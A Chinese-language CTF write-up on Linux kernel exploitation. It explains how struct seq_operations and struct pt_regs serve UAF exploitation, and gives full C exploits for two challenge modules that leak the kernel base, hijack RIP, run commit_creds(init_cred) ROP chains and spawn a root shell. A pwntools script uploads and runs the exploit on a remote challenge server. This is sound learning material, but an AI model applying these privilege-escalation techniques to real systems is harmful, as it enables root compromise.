Kernel Pwn Struct seq_operations and Struct pt_regs

当打开一个 stat 文件, 如 /proc/self/stat 时, 内核会从 kalloc-32 中分配一个 seq_operations (0x20), 这个结构体如下:

1
2
3
4
5
6
struct seq_operations {
  void * (*start) (struct seq_file *m, loff_t *pos);
  void (*stop) (struct seq_file *m, void *v);
  void * (*next) (struct seq_file *m, void *v, loff_t *pos);
  int (*show) (struct seq_file *m, void *v);
};

这个结构体在初始化的时候会写成内核的函数. 当我们去 read 这个文件时, 会调用 start 函数指针.

需要注意的是, stat 文件只能以只读模式打开.

如果有 kmalloc-32 的 UAF, 那么可以:

  1. leak kbase (r)
  2. hijack rip (w)

结构体在初始化时, 会把四个函数指针都写成内核函数地址, 所以可以关闭 kaslr 读一次, 获得偏移. 之后用偏移即可计算基地址

使用 read 去读文件时, 会调用 start 指针. 如果将指针覆盖, 便可以控制 rip. 如果可能, 还可以配合 pt_regs 结构体进行 ROP.

启动脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -monitor /dev/null \
    -append "console=ttyS0 oops=panic panic=1 nokaslr quiet" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -nographic \
    -s

可以看到仅有 smep 保护.

init:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/module/kheap.ko
chmod 666 /dev/kheap 
chmod 600 flag

setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

代码逻辑很简单, ioctl 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
__int64 __fastcall kheap_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rdx
  __int64 v4; // r12
  unsigned __int64 idx; // r12
  info request; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+10h] [rbp-20h]

  _fentry__(file, cmd, arg);
  v4 = v3;
  v8 = __readgsqword(0x28u);
  mutex_lock(&mutex_0);
  if ( !copy_from_user(&request, v4, 0x10LL) )
  {
    idx = request.idx;
    if ( request.idx <= 15 )
    {
      switch ( cmd )
      {
        case 0x10000u:
          if ( !list[request.idx] )
          {
            list[idx] = (char *)kmem_cache_alloc_trace(kmalloc_caches[5], 0xCC0LL, 0x20LL);// 0x20
            if ( list[request.idx] )
              goto LABEL_7;
          }
          break;
        case 0x10001u:
          if ( list[request.idx] )
          {
            kfree();
            list[request.idx] = 0LL;
            goto LABEL_7;
          }
          break;
        case 0x10002u:
          if ( list[request.idx] )
          {
            select = list[request.idx];
            goto LABEL_7;
          }
          break;
        case 0x6666u:
          copy_from_user(admin_info, request.buf, 0x80LL);
          break;
        default:
LABEL_7:
          mutex_unlock(&mutex_0);
          return 0LL;
      }
    }
  }
  mutex_unlock(&mutex_0);
  return -1LL;
}

其中 info request 结构如下:

1
2
3
4
5
struct info
{
  unsigned __int64 idx;
  char *buf;
};
  • 0x10000 从 kmalloc-32 中分配一个 object
  • 0x10001 kfree
  • 0x10002 把当前选择的 object 地址赋值给一个全局变量 select
  • 0x6666 向全局变量 admin_info 中写入内容

还实现了 read 和 write 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
ssize_t __fastcall kheap_read(file *file, char *buf, size_t len, loff_t *offset)
{
  unsigned __int64 v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  char *v7; // r13

  _fentry__(file, (_DWORD)buf, len);
  result = 0LL;
  if ( v4 )
  {
    v6 = v4;
    if ( v4 > 0x20 )
      return -1LL;
    v7 = select;
    _check_object_size(select, v4, 1LL);
    if ( copy_to_user(buf, v7, v6) )
      return -1LL;
    else
      return v6;
  }
  return result;
}

ssize_t __fastcall kheap_write(file *file, const char *buf, size_t len, loff_t *offset)
{
  unsigned __int64 v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  char *v7; // r13

  _fentry__(file, (_DWORD)buf, len);
  result = 0LL;
  if ( v4 )
  {
    v6 = v4;
    if ( v4 > 0x20 )
      return -1LL;
    v7 = select;
    _check_object_size(select, v4, 0LL);
    if ( copy_from_user(v7, buf, v6) )
      return -1LL;
    else
      return v6;
  }
  return result;
}

(ida 反出来有点问题, v4 是 rdx, 应该是 len)

可以看到这两个函数就是对选择的 (select 变量指向的) object 读写操作.

存在一个很明显的 UAF.

利用比较简单, 使用 seq_operations 结构体劫持 rip. 如果可以找到一个 gadget 把 rsp 改成可控的用户空间地址 (没 smap), 就可以进行 ROP 了.

首先调试一下, 看看到 start 这个位置时, 各个寄存器的状态, 有没有可控或者稳定的寄存器.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[   12.600893] general protection fault: 0000 [#1] SMP PTI
[   12.602850] CPU: 1 PID: 129 Comm: exp Tainted: G           OE     5.11.0-40-generic #44~20.04.2-Ubuntu
[   12.603378] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014
[   12.604064] RIP: 0010:0xdeadbeefdeadbeef
[   12.604999] Code: Unable to access opcode bytes at RIP 0xdeadbeefdeadbec5.
[   12.605335] RSP: 0018:ffffc9000019fdc0 EFLAGS: 00000246
[   12.605616] RAX: deadbeefdeadbeef RBX: ffffc9000019fe60 RCX: 0000000000000000
[   12.605882] RDX: 0000000000400cc0 RSI: ffff888005582730 RDI: ffff888005582708
[   12.606123] RBP: ffffc9000019fe18 R08: 0000000000001000 R09: 0000000000000000
[   12.606345] R10: ffff8880053e9000 R11: 0000000000000000 R12: 0000000000000000
[   12.606571] R13: ffff888005002a00 R14: ffff888005582730 R15: ffff888005582708

可以发现, rax 是 start 的值, 也就是我们写入的东西. rdx 稳定为 0x400cc0, r8 稳定为 0x1000, 还有些寄存器稳定为 0.

然后找一下 gadget, 非常幸运地找到了 0xffffffff8106f036 : mov esp, edx ; mov eax, r12d ; pop r12 ; pop rbp ; ret. 我们可以通过这个 gadget 去进行栈迁移到用户空间 0x400cc0. 0x400cc0 已经被程序占用了, 是个只读空间, 但是没关系, 用 mprotect 去把它权限改了, 就可以在上面构造 ROP 链了.

或者更通用的是用 xchg eax, esp ; ret, 因为 rax 我们是知道的, 而 xchg eax, esp 会将 rsp 的低 32 位赋为 rax 的低 32 位, 高位补 0. 这样 rsp 在用户空间, mmap 一下就可以写东西了. 这个方法可能更适用一些, 不依赖于其他寄存器环境 (没尝试过其他版本的 kernel rax 的值还是不是 start). 不过做题时还是得现场观察.

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

#define ALLOC  0x10000
#define FREE   0x10001
#define SELECT 0x10002
#define STACK  0x400cc0

size_t start_base                                   = 0xffffffff8133f980;
size_t init_cred                                    = 0xffffffff82c6b920;
size_t commit_creds                                 = 0xffffffff810ce710;
size_t mov_esp_edx_pop_r12_rbp_ret                  = 0xffffffff8106f036;
size_t pop_rdi_ret                                  = 0xffffffff8102517a;
size_t swapgs_restore_regs_and_return_to_usermode   = 0xffffffff81c00fc6;

size_t kernel_off = 0;

typedef struct inof_t {
    size_t idx;
    char* buf;
} info_t;

size_t seq_fd;
void pwn() {
    int fd = open("/dev/kheap", O_RDWR);
    info_t request;
    request.idx = 0;
    request.buf = calloc(0x20, 1);
    memcpy(request.buf, "0123456789ABCDEF0123456789ABCDE", 0x20);
    ioctl(fd, ALLOC, &request);
    ioctl(fd, SELECT, &request);
    ioctl(fd, FREE, &request);

    seq_fd = open("/proc/self/stat", O_RDONLY);
    read(fd, request.buf, 0x20);
    size_t *tmp = (size_t *)request.buf;
    kernel_off = tmp[0] - start_base;
    printvar(success, "kernel_off", kernel_off);

    pop_rdi_ret += kernel_off;
    commit_creds += kernel_off;
    init_cred += kernel_off;
    swapgs_restore_regs_and_return_to_usermode += kernel_off;

    tmp[0] = mov_esp_edx_pop_r12_rbp_ret + kernel_off;
    write(fd, request.buf, 0x8);

    mprotect((void*)(STACK & ~0xfff), 0x1000, PROT_READ | PROT_WRITE);
    size_t *rop = (size_t *)STACK;

    *rop++ = 0xdeadbeef;
    *rop++ = 0xdeadbeef;
    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;
    *rop++ = swapgs_restore_regs_and_return_to_usermode;
    *rop++ = 0xdeadbeef;
    *rop++ = 0xdeadbeef;
    *rop++ = (size_t)getRootShell;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;

    read(seq_fd, request.buf, 0xdeadbeef);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

系统调用陷入内核时, 会在内核栈上保存用户态 (准确来说是 trampoline 时) 的寄存器, 以便后续恢复. 这些寄存器在内核栈底形成了一个称为 pt_regs 的结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在系统调用的过程中, 不是所有的寄存器都会被改变, 比如 r8 - r15, 他们会在压入 pt_regs 的时保持 syscall 之前的值. 这就为我们提供了布置数据的可能性. 如果在仅能劫持 rip 的情况下 (比如上面介绍的 seq_operations), 跳转到某个形如 add, rsp val; ret 的 gadget, 那么就有可能将 rsp 设置到内核栈的 pt_regs 上, 从而执行我们布置的 ROP 链.

不过, 这里能够控制的连续空间可能比较小. 比如 rbp, rbx 可能不是 syscall 前的值了, 导致无法控制连续的内存; 或者没有让 rsp 跳到高处的 gadget; 或者压根就找不到能够到 pt_regs 上的 gadget (比如上一题的环境就找不到). 所以这并不是一个万能的方法.

所以我们需要布置尽可能少的 ROP 链, 让我们成功提权并成功回落用户态. 这里可以用 commit_creds(&init_cred) 来提权, 然后可以找 swapgs; iretq 这种 gadget, 剩下的像 rip, cs, flags, rsp, ss 等回落需要的值, 只需要设置 rsp 就行. iretq 回到用户态, 触发段错误, 用户态捕获段错误信号, 在 handle 函数中启动 root shell 即可. 有没有 kpti 都可以这样. 这样一来, 我们最少只需要控制 5 个寄存器即可, 不过这 5 个不是连续的, 有一定的间隔. 如果间隔不满足, 可以尝试用 ret 跳一下.

具体还是需要调试, 抄一下 a3 师傅的调试板子.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
__asm__(
       "mov r15,   0xbeefdead;"
       "mov r14,   0x11111111;"
       "mov r13,   0x22222222;"
       "mov r12,   0x33333333;"
       "mov rbp,   0x44444444;"
       "mov rbx,   0x55555555;"
       "mov r11,   0x66666666;"
       "mov r10,   0x77777777;"
       "mov r9,    0x88888888;"
       "mov r8,    0x99999999;"
       "xor rax,   rax;"
       "mov rcx,   0xaaaaaaaa;"
       "mov rdx,   8;"
       "mov rsi,   rsp;"
       "mov rdi,   seq_fd;"        // 这里假定通过 seq_operations->stat 来触发
       "syscall"
);

这个题给的文件系统是 ext4 镜像 (第一次接触, 差点整不会了). 用如下命令来挂载:

1
2
mkdir ./rootfs
sudo mount -o loop rootfs.img ./rootfs

(进去以后没看到 init, 又一次傻了)

没有 init, 启动脚本在 /ect/init.d/rcS, 查看:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
chown root:root /root/flag
chmod 600 /root/flag

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

insmod /root/mmsg.ko
chmod 666 /dev/mmsg

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/ctf
# setsid cttyhack su ctf -c /bin/sh
setsid cttyhack setuidgid 1000 /bin/sh

poweroff -d 0  -f

可以看到模块挂在 /dev/mmsg, ko 和 flag 文件在 /root 里. 挂载的文件系统也遵守权限规则, 进入 /root 也要 root 权限. 把一些限制取消, 修改 uid gid 为 0, 方便做题.

之后卸载文件系统, 会把我们的修改保存. 卸载命令为:

1
sudo umount ./rootfs

qemu 启动脚本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/bin/bash
qemu-system-x86_64 \
    -s \
    -m 256M \
    -cpu host,+smep,+smap \
    -smp cores=1 \
    -kernel bzImage \
    -hda rootfs.img \
    -nographic \
    -monitor none \
    -snapshot \
    -enable-kvm \
    -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr quiet oops=panic panic=1" \
    -no-reboot 

开启 kaslr, smep, smap. 查看一下 kpti 应该也是开着的.

这题还给了源代码, 非常友好.

首先定义了两个结构体, 以及 ioctl 所用的请求数据结构体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
struct mmsg_head {
        char description[16];
        struct list_head list;
};

struct mmsg {
        unsigned int token;
        int size;
        char *data;
        struct list_head list;
};

struct mmsg_arg {
        unsigned long token;
        int top;
        int size;
        char *data; 
};

根据题目提示, 简单看一下代码中涉及到的链表操作, 可以知道他是维护一个带有头节点的单向链表. 头就是 struct mmsg_head, 其他节点是 struct mmsg.

ioctl 支持的功能有:

  • alloc: kmalloc 一个 mmsg, 并根据 size kmalloc data 成员, 然后插入链表 (表头之后一个)
  • copy: 读取链表某个节点的 data
  • recv: 读取链表某个节点的 data, 并从链表中删除这个节点, kfree 它和它的 data
  • update: 更新某个节点的 data, kfree 原来的, kmalloc 新的
  • get desc: 读取 mmsg_head 的 desc 字符串
  • put desc: 修改 mmsg_head 的 desc 字符串

struct mmsg 中还有一些 token, size 变量, 但是与这题的利用无关, 就不详细说了.

可以发现, 在 copy 和 recv 的时候, 有如下代码:

1
2
3
4
5
6
7
8
9
        if (arg.top) {
            m = list_entry(&mmsg_head->list, struct mmsg, list);
        } else {
            m = find_mmsg(arg.token);
        }
        if (m == NULL || arg.size > MMSG_DATA_MAX || arg.size <= 0) {
            ret = -EINVAL;
            break;
        }

这里非常奇怪, 如果传入的 arg.top 不为 0, 那么就是取链表头. 而接下来的操作把它和链表的其他节点看成一样的了. 比如 recv 功能, 后续代码为:

1
2
3
4
5
6
        printk(KERN_INFO "mmsg recv\n");
        copy_to_user((void __user *)arg.data, m->data, arg.size);
        list_del(&m->list);
        kfree(m->data);
        kfree(m);
        break;

这就是漏洞所在. 这里有 kfree(m), 如果我们将表头 kfree 掉了, 就会造成 mmsg_head 这个全局变量指针悬挂. 同时我们有 get 和 put desc 的功能, 也就是能够读写前 0x10 个字节. struct mmsg_head 结构体大小是 0x20, 所以我们有 kmalloc-32 的 UAF, 并且能够读写其中前 0x10 个字节.

这里就可以用 seq_operations 了. 先读一下获得内核偏移, 然后写 start 函数指针, 劫持 rip. 开了 smap, 就无法像上一个例题一样, 用用户空间的栈了.

调试一下, 发现执行到 start 时, rsp 距离 pt_regs 0x160. 并且非常幸运找到了 add rsp, 0x168; ret 这样的 gadget, 刚好能够跳到 r14 上.

跳转后的栈
跳转后的栈

从上图还可以看到, 除了 0xffffc900001c7f88 处的 0x246 无法控制外, 从 60 到 a0 都是可以控制的. 并且可以找到如下 gadget:

swapgs; iretq
swapgs; iertq

于是只需要布置如下寄存器, 即可布置整个 ROP 链:

1
2
3
4
5
mov r14,   pop_rdi_ret
mov r13,   init_cred
mov r12,   commit_creds
mov rbp,   swapgs_iretq
mov r8,    lowest_byte_not_4 ; 最低字节不为 4 即可

exp 如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
// musl-gcc exp.c -static -masm=intel -g -o exp -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666

struct mmsg_arg {
        unsigned long token;
        int top;
        int size;
        char *data;
};

size_t start_base = 0xffffffff8120fac0;
size_t kernel_off = 0;
size_t add_rsp_0x168_ret = 0xffffffff81909b8c;
size_t pop_rdi_ret = 0xffffffff811aa376;
size_t init_cred = 0xffffffff8264c9a0;
size_t commit_creds = 0xffffffff8108d350;
size_t swapgs_iretq = 0xffffffff81c00ec6;

void pwn() {
    int mmsg_fd = open("/dev/mmsg", O_RDWR);
    struct mmsg_arg arg;
    arg.token = 1;
    arg.top = 1;
    arg.size = 16;
    arg.data = malloc(16);
    size_t *data_8 = (size_t *)arg.data;
    data_8[0] = 0x6161616161616161ll;
    data_8[1] = 0;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &arg);
    ioctl(mmsg_fd, MMSG_RECV, &arg);

    int seq_fd = open("/proc/self/stat", O_RDONLY);
    ioctl(mmsg_fd, MMSG_GET_DESC, &arg);
    printvar(success, "start", data_8[0]);
    kernel_off = data_8[0] - start_base;
    printvar(success, "kernel off", kernel_off);

    add_rsp_0x168_ret += kernel_off;
    pop_rdi_ret += kernel_off;
    init_cred += kernel_off;
    commit_creds += kernel_off;
    swapgs_iretq += kernel_off;

    data_8[0] = add_rsp_0x168_ret;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &arg);

    __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   pop_rdi_ret;"
        "mov r13,   init_cred;"
        "mov r12,   commit_creds;"
        "mov rbp,   swapgs_iretq;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    user_sp;"
        "mov r8,    0x99999999;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   8;"
        "mov rsi,   rsp;"
        "mov rdi,   4;"        // 这里假定通过 seq_operations->stat 来触发
        "syscall"
    );
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}
疑惑
这个 exp 有概率 open stat 的时候没有在 kfree 的表头位置申请到, 导致利用失败. 不明白为什么.

第一次在比赛中做出 kernel 题, 还有个交互脚本也贴一下吧:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from pwnlib.util.iters import mbruteforce
import hashlib
import base64
context(os='linux', arch='amd64')#, log_level='debug')

io = remote('61.147.171.107', 13374)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : io.recv(x)
ru  = lambda s    : io.recvuntil(s, drop=True)
sd  = lambda s    : io.send(s)
sl  = lambda s    : io.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : io.interactive()
rop = lambda r    : flat([p64(x) for x in r])

ru(b'sha256(')
pre = ru(b' + ')
nonce = mbruteforce(
    lambda s: hashlib.sha256(pre + s.encode()).hexdigest()[:5] == '00000',
    string.ascii_letters + string.digits,
    5,
    threads=16
)
sla(b'nonce:', nonce)

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())
try_count = 1
while True:
    sl('')
    for i in range(0, len(exp), 0x200):
        sla(b'/home/ctf $ ', b'echo -n "' + exp[i:i + 0x200] + b'" >> /tmp/b64_exp')
        log.info(f"{i} / {len(exp)}")
    sla(b'/home/ctf $ ', b'cat /tmp/b64_exp | base64 -d > /tmp/exploit')
    sla(b'/home/ctf $ ', b'chmod +x /tmp/exploit')
    sla(b'/home/ctf $ ', b'/tmp/exploit ')
    break

context.log_level='debug'
ia()

以及由于 glibc 编译出来的实在是太大了, 硬是没发完就超时了 (期间还触发了一次远程启动 qemu 的 py 脚本的 bug). 于是装了个 musl-gcc 来编译, 他要链接一下头文件. 命令如下:

1
musl-gcc exp.c -static -masm=intel -g -o exp -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/